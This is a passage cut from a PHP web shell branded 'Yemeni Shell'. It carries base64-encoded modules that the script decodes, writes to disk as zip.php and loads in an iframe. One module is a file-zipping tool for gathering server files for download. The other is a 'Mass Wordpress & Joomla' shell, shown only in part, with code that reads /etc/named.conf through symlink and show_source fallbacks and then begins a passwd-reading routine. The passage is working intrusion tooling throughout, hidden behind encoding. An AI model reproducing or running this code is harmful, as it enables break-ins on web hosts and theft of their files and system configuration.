aXIoJG5ld3BhdGgpOw0KCQl9IA0KICAJIH0NCiAgfQ0KfQ0KfS8vIGVuZCBmdW5jDQovLz09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpmdW5jdGlvbiBnZXRjdXJyZW50
ZGlyKCRwYXRoPSIuIikgew0KZ2xvYmFsICRjb25mOwkNCiRkaXJhcnIgPSBhcnJheSgpOw0K
aWYgKCRkaXIgPSBvcGVuZGlyKCRwYXRoKSkgew0KICB3aGlsZSAoZmFsc2UgIT09ICgkZW50
cnkgPSBAcmVhZGRpcigkZGlyKSkpIHsNCgkgaWYgKCgkZW50cnkhPSIuIikmJigkZW50cnkh
PSIuLiIpKSB7DQoJICAJJGxhc3Rkb3QgPSBzdHJycG9zKCRlbnRyeSwiLiIpOw0KCQkkZXh0
ID0gY2hvcChzdHJ0b2xvd2VyKHN1YnN0cigkZW50cnksJGxhc3Rkb3QrMSkpKTsNCgkJJGZu
YW1lID0gc3Vic3RyKCRlbnRyeSwwLCRsYXN0ZG90KTsNCgkJaWYgKCRwYXRoIT0iLiIpICRu
ZXdwYXRoID0gJHBhdGguIi8iLiRlbnRyeTsNCgkJZWxzZSAkbmV3cGF0aCA9ICRlbnRyeTsN
CgkJJG5ld3BhdGggPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkbmV3cGF0aCk7DQoNCgkJaWYg
KCgkZW50cnkhPSJOREt6aXBlci5waHAiKSYmKCRlbnRyeSE9Im5ka3ppcGVyLnR4dCIpJiYo
JGVudHJ5IT0kY29uZlsnZGlyJ10pKSB7DQoJCQkkZGlyYXJyW10gPSAkbmV3cGF0aDsNCgkJ
fSANCiAgCSB9DQogIH0NCn0NCnJldHVybiAkZGlyYXJyOw0KfS8vIGVuZCBmdW5jDQovLz09
PT09PT09PT09PT09PT09PT09PT09PT0NCmZ1bmN0aW9uIHNpemVfZm9ybWF0KCRieXRlcz0i
Iikgew0KICAkcmV0dmFsID0gIiI7DQogIGlmICgkYnl0ZXMgPj0gMTA0ODU3Nikgew0KCSRy
ZXR2YWwgPSByb3VuZCgkYnl0ZXMgLyAxMDQ4NTc2ICogMTAwICkgLyAxMDAgLiAiIE1CIjsN
CiAgfSBlbHNlIGlmICgkYnl0ZXMgID49IDEwMjQpIHsNCgkgICAgJHJldHZhbCA9IHJvdW5k
KCRieXRlcyAvIDEwMjQgKiAxMDAgKSAvIDEwMCAuICIgS0IiOw0KICAgIH0gZWxzZSB7DQog
ICAgICAgICRyZXR2YWwgPSAkYnl0ZXMgLiAiIGJ5dGVzIjsNCiAgICAgIH0NCiAgcmV0dXJu
ICRyZXR2YWw7DQp9DQovLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQokY3VycmVu
dGRpciA9IGdldGN1cnJlbnRkaXIoJGRpcm5hbWUpOw0Kc29ydCgkY3VycmVudGRpcik7DQo/
Pg0KPCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNp
dGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCI+DQo8
aHRtbD4NCjxoZWFkPg0KPHRpdGxlPi06WyB6aXAgZmlsZSBwbHVnaW4gLVllbWVuIFNoZWxs
IHYxLjAgXTotPC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29u
dGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjxNRVRBIEhUVFAtRVFVSVY9IkNB
Q0hFLUNPTlRST0wiIENPTlRFTlQ9Ik5PLUNBQ0hFIj4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2Nz
cyI+DQo8IS0tDQpodG1sIHsNCglvdmVyZmxvdy14OiBhdXRvOw0KCXNjcm9sbGJhci1mYWNl
LWNvbG9yOiAjQ0VDRUNFOw0KCXNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICM2QjZCNkI7DQoJ
c2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogI0Y4RjhGODsNCglzY3JvbGxiYXItM2RsaWdo
dC1jb2xvcjogIzhBOEE4QTsNCglzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzhBOEE4
QTsNCglzY3JvbGxiYXItdHJhY2stY29sb3I6ICM4QThBOEE7DQoJc2Nyb2xsYmFyLWFycm93
LWNvbG9yOiAjMjE1QThDOw0KfQ0KYm9keSx0ZCx0aCB7DQoJZm9udC1mYW1pbHk6IFZlcmRh
bmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoJZm9udC1zaXplOiAxMnB4Ow0K
CWNvbG9yOiAjMDYxRDM2Ow0KfQ0KYm9keSB7DQoJbWFyZ2luLWxlZnQ6IDBweDsNCgltYXJn
aW4tdG9wOiAwcHg7DQoJbWFyZ2luLXJpZ2h0OiAwcHg7DQoJbWFyZ2luLWJvdHRvbTogMHB4
Ow0KCQ0KfQ0KYTpsaW5rIHsNCgljb2xvcjogI0ZGODQwMDsNCgl0ZXh0LWRlY29yYXRpb246
IG5vbmU7DQp9DQphOnZpc2l0ZWQgew0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgljb2xv
cjogI0ZGODQwMDsNCn0NCmE6aG92ZXIgew0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCglj
b2xvcjogI0ZGNjYwMDsNCn0NCmE6YWN0aXZlIHsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7
DQoJY29sb3I6ICNGRjg0MDA7DQp9DQppbWcgeyBib3JkZXIgOiAwcHg7IH0NCi5iZHIgew0K
CWJvcmRlcjogMXB4IHNvbGlkICMzNDQ1NTk7DQp9DQouY3RpdHRsZSB7DQoJZm9udC1zaXpl
OiAxNHB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWNvbG9yOiAjRkZGRkZGOw0KCXRleHQt
ZGVjb3JhdGlvbjogbm9uZTsNCgliYWNrZ3JvdW5kLWNvbG9yOiMwMDYzQjA7DQp9DQoubXRp
dHRsZSB7DQoJZm9udC1zaXplOiAxNnB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWNvbG9y
OiAjRkZGRkZGOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgliYWNrZ3JvdW5kLWNvbG9y
OiMyQjYwODI7DQoJaGVpZ2h0OjQwcHg7DQp9DQouZnRpdHRsZSB7DQoJZm9udC1zaXplOiAx
MnB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWNvbG9yOiAjRkZGRkZGOw0KCXRleHQtZGVj
b3JhdGlvbjogbm9uZTsNCgliYWNrZ3JvdW5kLWNvbG9yOiMzQTc0QUI7DQoJaGVpZ2h0OjI1
cHg7DQp9DQoudGl0dGxlIHsNCglmb250LXNpemU6IDEycHg7DQoJY29sb3I6ICNGRkZGRkY7
DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KCWJhY2tncm91bmQtY29sb3I6IzNGNjY4QTsN
Cn0NCi5icl9zcCB7DQoJYm9yZGVyLXRvcC13aWR0aDogMXB4Ow0KCWJvcmRlci10b3Atc3R5
bGU6IGRvdHRlZDsNCglib3JkZXItdG9wLWNvbG9yOiAjMDAzMzY2Ow0KCWNvbG9yOiAjMDAz
MzMzOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCglmb250LXNpemU6IDExcHg7DQp9DQou
YnRpdGxlIHsNCgljb2xvcjogI0ZGRkZGRjsNCglmb250LXdlaWdodDogYm9sZDsNCglwYWRk
aW5nOjVweDsNCn0NCi5yb3dkaXIgew0KCWJhY2tncm91bmQtY29sb3I6I0VFRUVFRTsNCglj
b2xvcjojMDAzMzMzOw0KCWZvbnQtd2VpZ2h0OmJvbGQ7DQp9DQoucm93ZmlsZSB7DQoJYmFj
a2dyb3VuZC1jb2xvcjojRkZGRkZGOw0KfQ0KLnJvd2J1dCB7DQoJYmFja2dyb3VuZC1jb2xv
cjojRkZGRkNDOw0KfQ0KLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk+DQo8c2NyaXB0
IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCg0KdmFyIGllNDUsbnM2LG5zNCxkb207DQppZiAo
bmF2aWdhdG9yLmFwcE5hbWU9PSJNaWNyb3NvZnQgSW50ZXJuZXQgRXhwbG9yZXIiKSBpZTQ1
PXBhcnNlSW50KG5hdmlnYXRvci5hcHBWZXJzaW9uKT49NDsNCmVsc2UgaWYgKG5hdmlnYXRv
ci5hcHBOYW1lPT0iTmV0c2NhcGUiKXsgIG5zNj1wYXJzZUludChuYXZpZ2F0b3IuYXBwVmVy
c2lvbik+PTU7ICBuczQ9cGFyc2VJbnQobmF2aWdhdG9yLmFwcFZlcnNpb24pPDU7fQ0KZG9t
PWllNDUgfHwgbnM2Ow0KDQpmdW5jdGlvbiBnZXRvYmooaWQpIHsNCmVsID0gZG9jdW1lbnQu
YWxsID8gZG9jdW1lbnQuYWxsW2lkXSA6ICAgZG9tID8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5
SWQoaWQpIDogICBkb2N1bWVudC5sYXllcnNbaWRdOw0KcmV0dXJuIGVsOw0KfQ0KDQpmdW5j
dGlvbiBjaGVja2FsbCgpDQoJew0KCQlmb3IgKCBpPTA7aSA8IGRvY3VtZW50LmZpbmZvLmVs
ZW1lbnRzLmxlbmd0aCA7IGkrKyApew0KCQkJaWYgKCBkb2N1bWVudC5maW5mby5hbGwuY2hl
Y2tlZD09dHJ1ZSApew0KCQkJCWRvY3VtZW50LmZpbmZvLmVsZW1lbnRzW2ldLmNoZWNrZWQg
PSB0cnVlOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCWRvY3VtZW50LmZpbmZvLmVsZW1l
bnRzW2ldLmNoZWNrZWQgID0gZmFsc2U7DQoJCQl9DQoJCX0NCgl9DQo8L3NjcmlwdD4NCjx0
YWJsZSB3aWR0aD0iMTAwJSIgYmdjb2xvcj0iIzFFNDc2QSIgYWxpZ249Y2VudGVyIGJvcmRl
cj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MT4NCgk8dHI+PHRkIGFsaWduPWNlbnRl
ciBjbGFzcz0ibXRpdHRsZSIgdmFsaWduPSJtaWRkbGUiPjxiPlppcCBjb2RlIHBsdWdpbiAt
IHZlciAxLjA8L2I+PC90ZD4NCgk8dGQgYWxpZ249Y2VudGVyIGNsYXNzPSJmdGl0dGxlIj5Q
bHVnIGluICBZZW1lbmkgU2gzbGw8L2E+ICZjb3B5IDIwMTIgPC90ZD48L3RyPg0KPC90YWJs
ZT4NCjxicj4NCjw/IGlmICgkc3RlcCE9MCkgeyA/Pg0KPGJyIC8+DQo8dGFibGUgd2lkdGg9
IjcwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMiIgY2VsbHBhZGRpbmc9IjMiIGFsaWdu
PSJjZW50ZXIiIHN0eWxlPSJib3JkZXI6MXB4ICM2NjY2NjYgc29saWQiPg0KICA8dHI+DQog
ICAgPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNGRkZGRkYiIGhlaWdodD0iMTAwIj48
c3BhbiBpZD0ic3RhdHVzIj4NCgk8cD48aW1nIHNyYz0iaHR0cDovL25ka3Bob3RvLmNvbS9p
bWFnZXMvd2FpdC5naWYiIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgLz4gPGltZyBzcmM9Imh0
dHA6Ly9uZGtwaG90by5jb20vaW1hZ2VzL3dhaXQuZ2lmIiB3aWR0aD0iMzIiIGhlaWdodD0i
MzIiIC8+IDxpbWcgc3JjPSJodHRwOi8vbmRrcGhvdG8uY29tL2ltYWdlcy93YWl0LmdpZiIg
d2lkdGg9IjMyIiBoZWlnaHQ9IjMyIiAvPiA8aW1nIHNyYz0iaHR0cDovL25ka3Bob3RvLmNv
bS9pbWFnZXMvd2FpdC5naWYiIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgLz4gPGltZyBzcmM9
Imh0dHA6Ly9uZGtwaG90by5jb20vaW1hZ2VzL3dhaXQuZ2lmIiB3aWR0aD0iMzIiIGhlaWdo
dD0iMzIiIC8+PC9wPg0KDQogICAgICAgICAgPHA+UHJvY2Vzc2luZyBaaXAgRm9sZGVycyAm
IEZpbGVzIHNlbGVjdGVkIC48L3A+PC9zcGFuPg0KCTwvdGQ+DQogIDwvdHI+DQo8L3RhYmxl
Pg0KPGJyPg0KPD8gfSBlbHNlIHsgPz4NCjxmb3JtIGFjdGlvbj0iP3N0ZXA9MSIgaWQ9ImZp
bmZvIiBuYW1lPSJmaW5mbyIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSB3aWR0aD0iNjAlIiBi
b3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIxIiBjZWxscGFkZGluZz0iMyIgYWxpZ249ImNlbnRl
ciIgc3R5bGU9ImJvcmRlcjoxcHggIzk5OTk5OSBzb2xpZCI+DQo8dHI+DQogICAgPHRkIHN0
eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyQjYwODI7IGNvbG9yOiNGRkZGRkY7IHBhZGRpbmc6
NXB4OyIgYWxpZ249ImxlZnQiPjxiPkN1cnJlbnQgZGlyZWN0b3J5IDogPGEgaHJlZj0iP2Rp
cm5hbWU9LiI+WmlwZXI8L2E+IDw/DQoJaWYgKCghZW1wdHkoJGRpcm5hbWUpKSYmKCRkaXJu
YW1lIT0iLiIpKSB7DQoJCSRscGF0aCA9IGV4cGxvZGUoIi8iLCRkaXJuYW1lKTsNCgkJaWYg
KGNvdW50KCRscGF0aCk+MSkgZWNobyAiLSA8YSBocmVmPSc/ZGlybmFtZT17JGxwYXRoWzBd
fSc+eyRscGF0aFswXX08L2E+IjsNCgl9DQoJPz48L2I+PC90ZD4NCiAgPC90cj4NCjw/DQpm
b3IgKCRpPTA7JGk8Y291bnQoJGN1cnJlbnRkaXIpOyRpKyspIHsNCgkkZW50cnkgPSAkY3Vy
cmVudGRpclskaV07DQoJaWYgKCFpc19kaXIoJGVudHJ5KSkgew0KCQkkY2xhc3M9InJvd2Zp
bGUiOw0KCQkkbmFtZSA9ICRlbnRyeTsJDQoJfSBlbHNlIHsNCgkJJGNsYXNzPSJyb3dkaXIi
Ow0KCQkkbmFtZSA9ICI8YSBocmVmPSc/ZGlybmFtZT17JGVudHJ5fSc+eyRlbnRyeX08L2E+
IjsNCi8vCQkkbmFtZSA9ICRlbnRyeTsJDQoJCX0NCj8+DQogIDx0cj4NCiAgICA8dGQgYWxp
Z249ImxlZnQiIGNsYXNzPSI8Pz0kY2xhc3M/PiI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBu
YW1lPSJ6ZGlyW10iIHZhbHVlPSI8Pz0kZW50cnk/PiIgLz4mbmJzcDs8Pz0kbmFtZT8+PC90
ZD4NCiAgPC90cj4NCjw/IH0gPz4NCjx0cj4NCiAgICA8dGQgYWxpZ249ImxlZnQiIHN0eWxl
PSJiYWNrZ3JvdW5kLWNvbG9yOiMyQjYwODI7IGNvbG9yOiNGRkZGRkYiPjxpbnB1dCB0eXBl
PSJjaGVja2JveCIgbmFtZT0iYWxsIm9uY2xpY2s9ImphdmFzY3JpcHQ6Y2hlY2thbGwoKTsi
IC8+Jm5ic3A7U2VsZWN0IGFsbDwvdGQ+DQogIDwvdHI+DQo8L3RhYmxlPg0KPGJyIC8+DQo8
dGFibGUgd2lkdGg9IjYwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMSIgY2VsbHBhZGRp
bmc9IjMiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNGRkZGRkYiIHN0eWxlPSJib3JkZXI6
MXB4ICM5OTk5OTkgc29saWQiPg0KPHRyPg0KICAgIDx0ZD5GaWxlIG5hbWUgOiA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iZmlsZW5hbWUiIHZhbHVlPSJ6aXBlciIgc2l6ZT0iNDAiIC8+
LnppcDwvdGQ+DQoJPHRkIGFsaWduPSJyaWdodCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFt
ZT0ic3VibWl0IiB2YWx1ZT0iJm5ic3A7Jm5ic3A7Jm5ic3A7U3RhcnQmbmJzcDsmbmJzcDsm
bmJzcDsiIC8+PC90ZD4NCiAgPC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8PyB9ID8+DQo8
YnI+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNl
bGxwYWRkaW5nPSIwIj4NCiAgPHRyPg0KICAgIDx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0iY2Vu
dGVyIiBiZ2NvbG9yPSIjM0E3NEFCIj48YSBocmVmPSJTT0RtdC5waHAiIGNsYXNzPSJidGl0
bGUiPlllbWVuaSBTaDNsbDwvYT48L3RkPg0KICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBiZ2Nv
bG9yPSIjMkI2MDgyIiBjbGFzcz0iYnRpdGxlIj4mY29weSAyMDExIFllbWVuaSBTSDNMTCA8
L3RkPg0KICA8L3RyPg0KPC90YWJsZT4NCjxicj4NCjwvYm9keT4NCjwvaHRtbD4NCjw/DQpp
ZiAoJHN0ZXA9PTEpIHsNCgkkemRpciA9ICRfUE9TVFsnemRpciddOw0KCWlmIChjb3VudCgk
emRpcik+MCkgew0KCQkkZGlyYXJyYXk9YXJyYXkoKTsNCgkJJGRpcnNpemU9MDsNCgkJJHpk
aXJzaXplPTA7DQoJCWZvciAoJGk9MDskaTxjb3VudCgkemRpcik7JGkrKykgew0KCQkJJGZm
aWxlID0gJHpkaXJbJGldOw0KCQkJaWYgKGlzX2RpcigkZmZpbGUpKSB7DQoJCQkJZ2V0ZGly
KCRmZmlsZSk7DQoJCQl9IGVsc2Ugew0KCQkJCWlmICgkZnNpemU9QGZpbGVzaXplKCRmZmls
ZSkpICR6ZGlyc2l6ZSs9JGZzaXplOw0KCQkJfQ0KCQl9DQoJCSR6ZGlyc2l6ZSs9JGRpcnNp
emU7DQoJCWZvciAoJGk9MDskaTxjb3VudCgkZGlyYXJyYXkpOyRpKyspIHsNCgkJCSR6ZGly
W10gPSAkZGlyYXJyYXlbJGldOw0KCQl9DQoJCWlmICghQGlzX2RpcigkY29uZlsnZGlyJ10p
KSB7DQoJCQkkcmVzID0gQG1rZGlyKCRjb25mWydkaXInXSwwNzc3KTsNCgkJCWlmICghJHJl
cykgJHR4dG91dCA9ICJDYW5ub3QgY3JlYXRlIGRpciAhPGJyPiI7DQoJCX0gZWxzZSBAY2ht
b2QoJGNvbmZbJ2RpciddLDA3NzcpOw0KCQ0KCQkkemlwbmFtZSA9ICRfUE9TVFsnZmlsZW5h
bWUnXTsNCgkJJHppcG5hbWU9c3RyX3JlcGxhY2UoIi8iLCIiLCR6aXBuYW1lKTsNCgkJaWYg
KGVtcHR5KCR6aXBuYW1lKSkgJHppcG5hbWU9Ik5ES3ppcCI7DQoJCSR6aXBuYW1lLj0iLnpp
cCI7DQoJCQ0KCQkkemlwZXIgPSBuZXcgemlwZmlsZSgpOw0KCQkkemlwZXItPmFkZEZpbGVz
KCR6ZGlyKTsNCgkJJHppcGVyLT5vdXRwdXQoInskY29uZlsnZGlyJ119L3skemlwbmFtZX0i
KTsNCgkJDQoJCWlmICgkZnNpemU9QGZpbGVzaXplKCJ7JGNvbmZbJ2RpciddfS97JHppcG5h
bWV9IikpICR6aXBzaXplPSRmc2l6ZTsNCgkJZWxzZSAkemlwc2l6ZT0wOw0KCQkNCgkJJHpk
aXJzaXplID0gc2l6ZV9mb3JtYXQoJHpkaXJzaXplKTsNCgkJJHppcHNpemUgPSBzaXplX2Zv
cm1hdCgkemlwc2l6ZSk7DQoJCT8+DQoJCTxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQi
PmdldG9iaignc3RhdHVzJykuaW5uZXJIVE1MPSI8cD48Yj5aaXAgc3VjY2Vzc2Z1bCAhPC9i
PjwvcD48cD5Eb3dubG9hZCA6IDxhIGhyZWY9Jzw/PSRjb25mWydkaXInXT8+Lzw/PSR6aXBu
YW1lPz4nPjw/PSR6aXBuYW1lPz48L2E+PC9wPjxwPk9yaWdpbmFsIHNpemUgOiA8Pz0kemRp
cnNpemU/PiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz
cDsmbmJzcDsgWmlwIHNpemUgOiA8Pz0kemlwc2l6ZT8+PC9wPiI7PC9zY3JpcHQ+DQoJCTw/
DQoJfSBlbHNlIHsNCgkJPz48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij5nZXRvYmoo
J3N0YXR1cycpLmlubmVySFRNTD0iTm8gZmlsZSBvciBmb2xkZXIgc2VsZWN0ZWQgISI7PC9z
Y3JpcHQ+PD8NCgl9DQp9DQo/Pg==
';
$file = fopen("zip.php" ,"w+");
$write = fwrite ($file ,base64_decode($zip1));
fclose($file);
echo '<iframe src="zip.php" style="height:500px; width:1500px; border:0px;" name="zip">';
yemenfooter();
}
function yemenwp()
{
yemenhead();
$wp1 = 'PD9waHANCg0KDQoNCg0KDQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KDQokcGFnZVVSTCA9ICdodHRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsNCiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VVUkwgKTsNCiRwYWdlVVJMID1zdHJfcmVwbGFjZSgkdVtjb3VudCgkdSktMV0sIiIsJHBhZ2VVUkwgKTsNCg0KJHBhZ2VGVFAgPSAnZnRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nL3B1YmxpY19odG1sLycuJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQokdSA9IGV4cGxvZGUoIi8iLCRwYWdlRlRQICk7DQokcGFnZUZUUCA9c3RyX3JlcGxhY2UoJHVbY291bnQoJHUpLTFdLCIiLCRwYWdlRlRQICk7DQoNCj8+DQogIDwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iDQogICAgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KDQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQoNCjxoZWFkPg0KPHRpdGxlPk1hc3MgV29yZHByZXNzICYgSm9vbWxhPC90aXRsZT4NCg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KICBodG1sLGJvZHkgew0KICAgICBtYXJnaW46IDA7DQogICAgIHBhZGRpbmc6IDA7DQogICAgIG91dGxpbmU6IDA7DQp9DQphew0KDQogZm9udC1zaXplOiAxM3B4Ow0KDQp9DQoNCg0KYm9keSB7DQogICAgZGlyZWN0aW9uOiBsdHI7DQogICAgYmFja2dyb3VuZC1jb2xvcjojRjRGNEY0Ow0KCWNvbG9yOiByZ2IoMTUzLCAxNTMsIDE1Myk7DQogICAgdGV4dC1hbGlnbjogY2VudGVyDQp9DQoNCg0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjMDAwMDAwOw0KfQ0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3Q6aG92ZXJ7DQpib3gtc2hhZG93OiAwcHggMHB4IDRweCAjQUFBQUFBOw0KfQ0KDQoNCi5oZWRyIHsNCiAgZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCiAgZm9udC1zaXplOiAyMnB4Ow0KDQoNCn0NCg0KLmNvbnQgYXsNCg0KIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiBjb2xvcjpyZ2IoMTUzLCAxNTMsIDE1Myk7DQogZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCiBmb250LXNpemU6IDE2cHg7DQogdGV4dC1zaGFkb3c6IDBweCAwcHggM3B4IDsNCn0NCg0KLmNvbnQgYTpob3ZlcnsNCg0KDQogIGNvbG9yOiAjRUVFRUVFIDsNCiAgdGV4dC1zaGFkb3c6MHB4IDBweCAzcHggIzAwMDAwMCA7DQoNCg0KfQ0KDQoudG1wIHRyIHRkew0KDQpib3JkZXI6IHNvbGlkIDFweCAjQkJCQkJCOw0KDQpwYWRkaW5nOiAycHggOw0KICBmb250LXNpemU6IDEzcHg7DQp9DQoNCi50bXAgdHIgdGQgYSB7DQogIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCg0KDQoNCn0NCg0KLmZvdGVyew0KICBmb250LXNpemU6IDlwdDsNCiAgY29sb3I6ICNBQUFBQUEgOw0KICB0ZXh0LWFsaWduOiBjZW50ZXINCn0NCg0KLnRtcCB0ciB0ZDpob3ZlcnsNCg0KYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzg4ODg4ODsNCg0KfQ0KLmZvdHsNCg0KZm9udC1mYW1pbHk6VGFob21hLCBBcmlhbCwgc2Fucy1zZXJpZjsNCg0KICBmb250LXNpemU6IDExcHQ7DQp9DQouZm9yIGEgOiBob3ZlcnsNCg0KdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4ICMzMzY2RkY7DQoNCn0NCg0KDQouaXIgew0KICBjb2xvcjogI0ZGMDAwMDsNCn0NCg0KDQoNCjwvc3R5bGU+DQoNCjwvaGVhZD4NCg0KPGJvZHkgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAiPg0KDQoNCjxkaXYgY2xhc3M9J2FsbCc+DQoNCg0KPD9waHANCg0KDQoNCg0KDQplY2hvICc8ZGl2IGNsYXNzPSJjb250Ij4NCg0KDQoNCg0KIDxhIGhyZWY9Ij9ibGFja3IwMHQ9d3AiPiBNYXNzIFdvcmRwcmVzcyAgU2gzbGwgPC9hPg0KDQoNCg0KPGJyIC8+PGJyIC8+PGJyIC8+DQoNCg0KDQoNCg0KDQo8L2Rpdj4nOw0KDQppZihpc3NldCgkX1JFUVVFU1RbJ2JsYWNrcjAwdCddKSkNCnsNCg0Kc3dpdGNoICgkX1JFUVVFU1RbJ2JsYWNrcjAwdCddKQ0Kew0KDQoNCg0KDQoNCg0KDQoNCi8vLyBieXBhc3MgcmVhZA0KDQpjYXNlICdyZWFkJzoNCg0KZWNobyAicmVhZCAvZXRjL25hbWVkLmNvbmYiOw0KZWNobyAiPGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz93ZWJyMDB0PXJlYWQmc2F2ZT0xJz48dGV4dGFyZWEgY29scz0nODAnIHJvd3M9JzIwJyBuYW1lPSdmaWxlJz4iOw0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCg0KJGZpbGUgPSAnL2V0Yy9uYW1lZC5jb25mJzsNCg0KDQokcjNhZCA9IEBmb3BlbigkZmlsZSwgJ3InKTsNCmlmICgkcjNhZCl7DQokY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQplY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQp9DQplbHNlIGlmICghJHIzYWQpDQp7DQokcjNhZCA9IEBzaG93X3NvdXJjZSgkZmlsZSkgOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHIzYWQgPSBAaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHNtID0gQHN5bWxpbmsoJGZpbGUsJ3N5bS50eHQnKTsNCg0KDQppZiAoJHNtKXsNCiRyM2FkID0gQGZvcGVuKCdzeW0vc3ltLnR4dCcsICdyJyk7DQokY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQplY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQoNCn0NCn0NCg0KDQoNCmVjaG8gIjwvdGV4dGFyZWE+PGJyIC8+PGJyIC8+PGlucHV0ICB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTYXZlJy8+IDwvZm9ybT4iOw0KDQoNCmlmKGlzc2V0KCRfR0VUWydzYXZlJ10pKXsNCg0KDQokY29udCA9IHN0cmlwY3NsYXNoZXMoJF9QT1NUWydmaWxlJ10pOw0KDQokZiA9IGZvcGVuKCduYW1lZC50eHQnLCd3Jyk7DQoNCiR3ID0gZndyaXRlKCRmLCRjb250KTsNCg0KICAgICAgICAgICAgICAgICAgaWYoJHcpew0KDQogICAgICAgICAgICAgICAgICBlY2hvICc8YnIgLz5zYXZlIGhhcyBiZWVuIHN1Y2Nlc3NmdWxseSc7DQoNCiAgICAgICAgICAgICAgICAgIH0NCg0KZmNsb3NlKCRmKTsNCg0KDQoNCg0KfQ0KDQoNCg0KYnJlYWs7DQoNCi8vIHBhc3N3ZA0KDQpjYXNlICdwYXNzd2QnOg0KDQppZihpc3NldCgkX0dFVFsnc2F2ZSddKSBhbmQgaXNzZXQoJF9QT1NUWydmaWxlJ10pIG9yIEBmaWxlc2l6ZSgncGFzc3dkLnR4dCcpID4gMCl7DQoNCg0KJGNvbnQgPSBzdHJpcGNzbGFzaGVzKCRfUE9TVFsnZmlsZSddKTsNCg0KaWYoIWZpbGVfZXhpc3RzKCdwYX